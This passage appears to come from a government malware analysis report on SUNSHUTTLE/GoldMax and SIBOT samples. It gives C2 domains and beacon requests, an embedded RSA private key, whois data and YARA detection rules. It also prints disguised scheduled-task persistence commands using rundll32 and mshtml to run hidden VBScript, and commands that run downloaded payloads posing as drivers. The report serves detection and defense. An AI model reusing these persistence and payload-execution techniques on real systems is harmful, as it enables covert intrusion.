https[:]//reyweb.com/assets/index.php
https[:]//reyweb.com/css/bootstrap.css
https[:]//reyweb.com/scripts/jquery.js
https[:]//reyweb.com/scripts/bootstrap.js
–End C2 URIs–

–Begin legitimate URIs–
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//cdn.cloudflare.com
https[:]//cdn.mxpnl.com
https[:]//cdn.google.com
https[:]//cdn.jquery.com/index
–End legitimate URIs–

Displayed below is a sample GET request for a session key:

–Begin sample request —
GET /assets/index.php HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www[.]yahoo.com
Accept-Encoding: gzip
–End sample request —

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

–Begin request–
GET /ui/v3/icons HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
–End request–

–Begin request–
GET /css/bootstrap.css HTTP/1.1
Host: reyweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
–End request–

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA OAEP encrypted session key received from its C2:

–BEGIN PRIVATE KEY–
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
–END PRIVATE KEY–

reyweb.com

Tags

command-and-control

URLs

• reyweb.com/assets/index.php
• reyweb.com/css/bootstrap.css
• reyweb.com/css/style.css
• reyweb.com/icon.ico
• reyweb.com/icon.png
• reyweb.com/script.js
• reyweb.com/scripts/bootstrap.js
• reyweb.com/scripts/jquery.js
• reyweb.com/style.css

HTTP Sessions

• GET /assets/index.php HTTP/1.1
  Host: reyweb.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Cookie: HjELmFxKJc=d2ed208623fa66d2e5372c27c9230fb8; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
  Referer: www[.]yahoo.com
  Accept-Encoding: gzip
• GET /assets/index.php HTTP/1.1
  Host: reyweb.com
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
  Cookie: HjELmFxKJc=f27616f33730acfea04a05e53081d1ec; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
  Referer: www[.]facebook.com
  Accept-Encoding: gzip

Whois

Domain Name: REYWEB.COM
Registry Domain ID: 1620703932_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2020-04-30T08:57:06Z
Creation Date: 2010-10-16T18:54:19Z
Registry Expiry Date: 2021-10-16T18:54:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: NS1.CP-19.WEBHOSTBOX.NET
Name Server: NS2.CP-19.WEBHOSTBOX.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2021-03-04T17:32:23Z <

Relationships

Description

“Lexicon.exe” (b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8) attempts to connect to this domain.

ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def

Tags

trojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware.

On execution, the behavior is nearly identical to bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec). It produced the same number of events, with only slight variation in order of file names. It is likely another iteration of this sample.

Upon execution, drops file “config.data.tmp” in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “nikeoutletinc.org” using TLSv1.3 to create a secure connection with C2. config.data.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

File is packed with UPX. Displayed below is a string of interest:

–Begin string of interest–
Go build ID: “yytqyhV7XNSuSZRXAADu/FzAnsR7anW_XvSXcBCS2/4f91rfQD47Q6E02u8kC8/_t-YMsh7fECr1GVsP3F7x”
hxxps[:]//cdn.bootstrap.com/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid argument to Int31ninvalid argument to Int63ninvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on network
–End string of interest–

4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec

Tags

backdoortrojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_02 : SOLARFLARE trojan
  {
     meta:
         Author = “CISA Trusted Third Party”
         Incident = “10327841.r1.v1”
         Date = “2021-03-04”
         Actor = “n/a”
         Category = “Trojan”
         Family = “SOLARFLARE”
         Description = “Detects strings in WindowsDSVC_exe samples”
         MD5_1 = “4de28110bfb88fdcdf4a0133e118d998”
         SHA256_1 = “fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836”
     strings:
         $Go_Lang = “Go build ID:”
         $main_func = “main.main”
         $main_encrypt = “main.encrypt”
         $main_MD5 = “main.GetMD5Hash”
         $main_beacon = “main.beaconing”
         $main_command = “main.resolve_command”
         $main_key1 = “main.request_session_key”
         $main_key2 = “main.retrieve_session_key”
         $main_clean = “main.clean_file”
         $main_wget = “main.wget_file”
     condition:
         (uint16(0) == 0x5A4D) and all of them
  }
• rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
  {
     meta:
         Author = “FireEye”
         Date = “2021-03-04”
         Last_Modified = “20210305_1704”
         Actor = “UNC2452”
         Category = “Backdoor”
         Family = “SUNSHUTTLE”
         Description = “This rule detects strings found in SUNSHUTTLE”
         MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
         SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
     strings:
         $s1 = “main.request_session_key”
         $s2 = “main.define_internal_settings”
         $s3 = “main.send_file_part”
         $s4 = “main.clean_file”
         $s5 = “main.send_command_result”
         $s6 = “main.retrieve_session_key”
         $s7 = “main.save_internal_settings”
         $s8 = “main.resolve_command”
         $s9 = “main.write_file”
         $s10 = “main.beaconing”
         $s11 = “main.wget_file”
         $s12 = “main.fileExists”
         $s13 = “main.removeBase64Padding”
         $s14 = “main.addBase64Padding”
         $s15 = “main.delete_empty”
         $s16 = “main.GetMD5Hash”
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
  }
• rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
  {
     meta:
         Author = “FireEye”
         Date = “2021-03-04”
         Last_Modified = “20210305_1704”
         Actor = “UNC2452”
         Category = “Backdoor”
         Family = “SUNSHUTTLE”
         Description = “This rule detects strings found in SUNSHUTTLE”
         MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
         SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
     strings:
         $s1 = “LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk”
         $s2 = “LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ”
         $s3 = “Go build ID: “”
     condition:
         filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
  }

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Relationships

Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. It is unique in that it does not appear to be packed, unlike other GoldMax samples, which were packed with UPX. It was observed beginning to beacon after remediation efforts began on the compromised network.

Upon execution, drops file “runlog.dat.tmp” (bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df) in the same directory the executable is running. Sample filename mimics the name of other benign windows service executable. Initiates encrypted network traffic to “megatoolkit.com” using TLSv1.3 to create a secure connection with C2. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

megatoolkit.com

Tags

command-and-control

URLs

• megatoolkit.com/catalog/
• megatoolkit.com/icon.ico
• megatoolkit.com/icon.pngi19TotqC9iD8Y0B7jcGnpp5hYcyjg4cL

Whois

Domain Name: megatoolkit.com
Registry Domain ID: 2344043124_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: https://www.namesilo.com/
Updated Date: 2020-12-16T07:00:00Z
Creation Date: 2018-12-17T07:00:00Z
Registrar Registration Expiration Date: 2022-12-17T07:00:00Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Domain Administrator
Registrant Organization: See PrivacyGuardian.org
Registrant Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Registrant City: Phoenix
Registrant State/Province: AZ
Registrant Postal Code: 85016
Registrant Country: US
Registrant Phone: +1.3478717726
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Admin ID:
Admin Name: Domain Administrator
Admin Organization: See PrivacyGuardian.org
Admin Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Admin City: Phoenix
Admin State/Province: AZ
Admin Postal Code: 85016
Admin Country: US
Admin Phone: +1.3478717726
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Registry Tech ID:
Tech Name: Domain Administrator
Tech Organization: See PrivacyGuardian.org
Tech Street: 1928 E. Highland Ave. Ste F104 PMB# 255
Tech City: Phoenix
Tech State/Province: AZ
Tech Postal Code: 85016
Tech Country: US
Tech Phone: +1.3478717726
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: pw-82f809367ca4aef6cfb7b46bcb7f880c@privacyguardian.org
Name Server: NS1.DNSOWL.COM
Name Server: NS2.DNSOWL.COM
Name Server: NS3.DNSOWL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships

Description

bootcats.exe (4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec) attempts to connect to this domain.

bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

This file is a text file that was dropped by bootcats.exe. Runlog.dat.tmp is encrypted using a key unique to each sample, but based on previous reporting it is almost certainly a configuration file. If the file does not already exist in the same directory as the malware, it will be created at runtime.

7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb

Tags

botdownloaderloadertrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to install an obfuscated second stage VBScript into the Windows registry keys below:

–Begin registry keys–
hKey = HKEY_LOCAL_MACHINE
Subkey = “SOFTWAREMicrosoftWindowsCurrentVersionsibot”
ValueName = “(Default)”
Data =    “obfuscated second stage VBScript”
–End registry keys–

The embedded VBScript is executed by “rundll32registry_schtaskdaily.vbs (acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66).

“Final_vbscript.vbs” (a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f) is the de-obfuscated VBScript.

Screenshots

acc74c920d19ea0a5e6007f929ef30b079eb2836b5b28e5ffcc20e68fa707e66

Tags

bottrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to create a schedule task service that uses Microsoft HTML Application (MSHTA) to execute the obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) from the Windows registry key: “HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot.”

Displayed below is the schedule task service information:

–Begin schedule task–
Name: “WindowsUpdate”    
Description: “This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c”
Arguments: “vbscript:”..mshtml,RunHTMLApplication “+Execute(CreateObject(“WScript.Shell”).RegRead(“HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot”))(window.close)”
Path: rundll32
–End schedule task–

It runs the command below daily:

–Begin command–
“rundll32 vbscript:”..mshtml,RunHTMLApplication “+Execute(CreateObject(“WScript.Shell”).RegRead(“HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot”))(window.close)”
–End command–

Displayed below is the content of the script daily scheduled task Extensible Markup Language (XML) created at the time of analysis:

–Begin scheduled task XML–
<?xml version=”1.0″ encoding=”UTF-16″?>rn
<Task version=”1.2″
   xmlns=”hxxp[:]//schemas.microsoft.com/windows/2004/02/mit/task”>rn
   <RegistrationInfo>rn    
       <Description>This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c</Description>rn
   </RegistrationInfo>rn
   <Triggers>rn    
       <CalendarTrigger id=”DailyTriggerId”>rn    
           <StartBoundary>2021-03-12T18:27:56</StartBoundary>rn    
           <ExecutionTimeLimit>PT10M</ExecutionTimeLimit>rn    
           <Enabled>true</Enabled>rn    
           <ScheduleByDay>rn        
               <DaysInterval>1</DaysInterval>rn    
           </ScheduleByDay>rn    
       </CalendarTrigger>rn
   </Triggers>rn
   <Principals>rn    
       <Principal>rn    
           <RunLevel>HighestAvailable</RunLevel>rn    
       </Principal>rn
   </Principals>rn
   <Settings>rn    
       <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>rn    
       <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>rn    
       <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>rn    
       <AllowHardTerminate>true</AllowHardTerminate>rn    
       <StartWhenAvailable>true</StartWhenAvailable>rn    
       <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>rn    
       <IdleSettings>rn    
           <Duration>PT10M</Duration>rn    
           <WaitTimeout>PT1H</WaitTimeout>rn    
           <StopOnIdleEnd>true</StopOnIdleEnd>rn    
           <RestartOnIdle>false</RestartOnIdle>rn    
       </IdleSettings>rn    
       <AllowStartOnDemand>true</AllowStartOnDemand>rn    
       <Enabled>true</Enabled>rn    
       <Hidden>true</Hidden>rn    
       <RunOnlyIfIdle>false</RunOnlyIfIdle>rn    
       <WakeToRun>false</WakeToRun>rn    
       <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>rn    
       <Priority>7</Priority>rn
   </Settings>rn
   <Actions>rn    
       <Exec>rn    
           <Command>rundll32</Command>rn    
           <Arguments>vbscript:”..mshtml,RunHTMLApplication “+Execute(CreateObject(“WScript.Shell”).RegRead(“HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot”))(window.close)</Arguments>rn    
       </Exec>rn
   </Actions>rn
</Task>”
–End scheduled task XML–

Screenshots

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07

Tags

botdownloaderloadertrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

Description

This file contains the obfuscated VBScript and has been identified a variant of MISPRINT/SIBOT malware. When executed, it collects the connection Globally Unique Identifier (GUID) associated to the local area network (LAN) connection and the address of a proxy if configured on the victim’s system. It attempts to download a malicious payload from its C2 server using the URI below:

–Begin URI–
“hxxps[:]//www[.]eyetechltd.com/wp-content/themes/betheme/includes”
–End URI–

The HTTP request header contains the extracted connection GUID in the “If-Range” field.

Displayed below is the HTTP request used to download the payload from its C2 server:

–Begin request–
GET /wp-content/themes/betheme/includes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
If-Range: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Host: www[.]eyetechltd.com
–End request–

The payload was not available for analysis. Analysis indicates that the downloaded payload (DLL) will be installed and executed from “c:windowssystem32driversmshidkmdfc.sys” with the command below:

–Begin command–
“rundll32 mshidkmdfc.sys,Control_DllRun”
–End command–

Displayed below are sample de-obfuscated strings fromthe script:

–Begin strings–
“USER-AGENT”
“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36”
“If-Range”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTDEFAULT:STDREGPROV”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTMICROSOFTHOMENET”
“SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONINTERNET SETTINGS”
“PROXYENABLE”
“rundll32 mshidkmdfc.sys,Control_DllRun”
“c:windowssystem32drivers”
“https[:]//www[.]eyetechltd.com/wp-content/themes/betheme/includes”
“MSXML2.SERVERXMLHTTP.6.0”
“WINHTTP.WINHTTPREQUEST.5.1”
“SELECT * FROM HNET_CONNECTION”
“GET”
–End strings–

Screenshots

eyetechltd.com

Tags

command-and-control

URLs

• eyetechltd.com/wp-content/themes/betheme/includes

Ports

HTTP Sessions

• GET /wp-content/themes/betheme/includes HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  If-Range: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
  Host: www[.]eyetechltd.com

Whois

Domain Name: EYETECHLTD.COM
Registry Domain ID: 135677917_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://tucowsdomains.com
Updated Date: 2020-07-30T09:39:33
Creation Date: 2004-11-23T16:54:52
Registrar Registration Expiration Date: 2022-11-23T16:54:52
Registrar: TUCOWS, INC.
Registrar IANA ID: 69
Reseller: OnDNet Services Ltd
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registry Registrant ID:
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: Msida
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: MT
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext:
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext:
Registrant Email: https://tieredaccess.com/contact/6e7ea567-7210-4645-a3e9-c430d1ec2730
Registry Admin ID:
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext:
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: REDACTED FOR PRIVACY
Registry Tech ID:
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: REDACTED FOR PRIVACY
Name Server: ernest.ns.cloudflare.com
Name Server: marjory.ns.cloudflare.com
DNSSEC: unsigned
Registrar Abuse Contact Email: domainabuse@tucows.com
Registrar Abuse Contact Phone: +1.4165350123
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships

Description

prnmngrz.vbs (88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07) attempts to connect to this domain.

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f

Tags

botdownloaderloadertrojan

Details

Antivirus

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains the de-obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) embedded in the Windows registry “HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot{Default}.” The script is obfuscated and when executed, it collects the connection GUID associated to the LAN connection and the address of a proxy if configured on the victim’s system. It attempts to download a malicious payload from a C2 server. Note: The C2 server was identified as a compromised domain and was redacted for privacy.

The HTTP request header contains the extracted connection GUID in the “X-XSRF-TOKEN” field.

Displayed below is the HTTP request used to download the payload from its C2 server:

–Begin request–
GET /includes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Chromium/78.0.3882.0 Linux
X-XSRF-TOKEN: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
Host: [Redacted]
–End request–

The payload was not available for analysis. Analysis indicates that the downloaded payload will be installed and executed from “c:windowssystem32driversnetioc.sys” with the command below:

–Begin command–
“rundll32 netioc.sys,NdfRunDllDuplicateIPDefendingSystem”    
–End command–

Displayed below are sample de-obfuscated strings from the script:

–Begin strings–
“USER-AGENT”
“Chromium/78.0.3882.0 Linux”
“X-XSRF-TOKEN”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTDEFAULT:STDREGPROV”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTMICROSOFTHOMENET”
“SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONINTERNET SETTINGS”
“PROXYENABLE”
“rundll32 mshidkmdfc.sys,Control_DllRun”
“c:windowssystem32drivers”
“[Redacted C2]”
“MSXML2.SERVERXMLHTTP.6.0”
“WINHTTP.WINHTTPREQUEST.5.1”
“SELECT * FROM HNET_CONNECTION”
“GET”
–End strings–

Screenshots

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15

Tags

bottrojan

Details

Antivirus

YARA Rules

• rule CISA_3P_10327841_04 : SIBOT trojan bot vbscript
  {
     meta:
         Author = “CISA Trusted Third Party”
         Incident = “10327841”
         Date = “2021-03-26”
         Actor = “n/a”
         Category = “Trojan BOT VBScript”
         Family = “SIBOT”
         Description = “Detects Scheduled Task persistence for sibot variant AikCetnrll”
     strings:
         $a1 = “Actions.Create” fullword ascii
         $a2 = “RegistrationInfo” fullword ascii
         $a3 = “StartWhenAvailable” fullword ascii
         $z1 = “MicrosoftWindowsCertificateServicesClient” fullword ascii
         $z2 = “CreateObject(“Schedule.Service”)” fullword ascii
         $z3 = “c:windowssystem32printing_admin_scriptsen-usprndrvrn.vbs” fullword ascii
         $z4 = “AikCetnrll” fullword ascii
         $z5 = “This task enrolls a certificate for Attestation Identity Key” fullword ascii
     condition:
         (3 of ($a*) and 5 of ($z*))
  }

ssdeep Matches

No matches found.

Description

“Rundll32file_schtaskdaily.vbs” is a VBScript that creates a scheduled task that executes “prndrvrn.vbs” (CB80A074E5FDE8D297C2C74A0377E612B4030CC756BAF4FFF3CC2452EBC04A9C ) daily. The file “prndrvrn.vbs” is a variant of the Sibot obfuscated VBScript malware. Despite not containing the string “sibot” at all, both “rundll32file_schtaskdaily.vbs” and “prndrvrn.vbs” are clearly related to existing Sibot samples as reported on by Microsoft and Mandiant because the form, function, and obfuscation algorithms of the scripts are identical. The files differ slightly in specific details of the scheduled task. “Rundll32file_schtaskdaily.vbs” is similar to variant B per previous Microsoft reporting. The only difference is that the scheduled task points to a file on disk instead of the registry. See analyst notes at the end of the report for further details on the variations.

When run without admin credentials, the Windows Script Host provides a pop up with a Permission denied error. When run with admin credentials, rundllfile_schtaskdaily.vbs script begins running inside of the WScript.exe process.

The WScript.exe process creates a scheduled task similar to AikCertEnrollTask, a legitimate task:
Task Name: AikCetnrll
Location: MicrosoftWindowsCertificateServicesClient
Also found on disk in: C:WindowsSystem32TaksMicrosoftWindowsCertificateServicesClientAikCetnrll
Description: This task enrolls a certificate for an Attestation Identity Key. (Same as AikCertEnrollTask)
Credentials: NT AUTHORITYSYSTEM
Security Options: Run with highest Privileges; Run whether user is logged on or not; hidden.

Every day the task is set to run five minutes after initial run time of the script. Ex: Script was run at 1400 the scheduled task will run every day at 1405.
The task executes a rundll32.exe inside a svchost.exe with the arguments: vbscript:”..mshtml,RunHTMLApplication”+Execute(CreateObject(“Scripting.FileSystemObject”).OpenTextFile(“c:windowssystem32printing_admin_scriptsen-usprndrvn.vbs”).ReadAll())(window.close)

This ultimately runs the prndrvrn.vbs inside “C:WindowsSystem32Printing_Admin_Scriptsen-us” daily, with SYSTEM level privileges.
This also means that prndrvrn.vbs must be placed inside the “en-us” folder in order for the scheduled task to run properly.

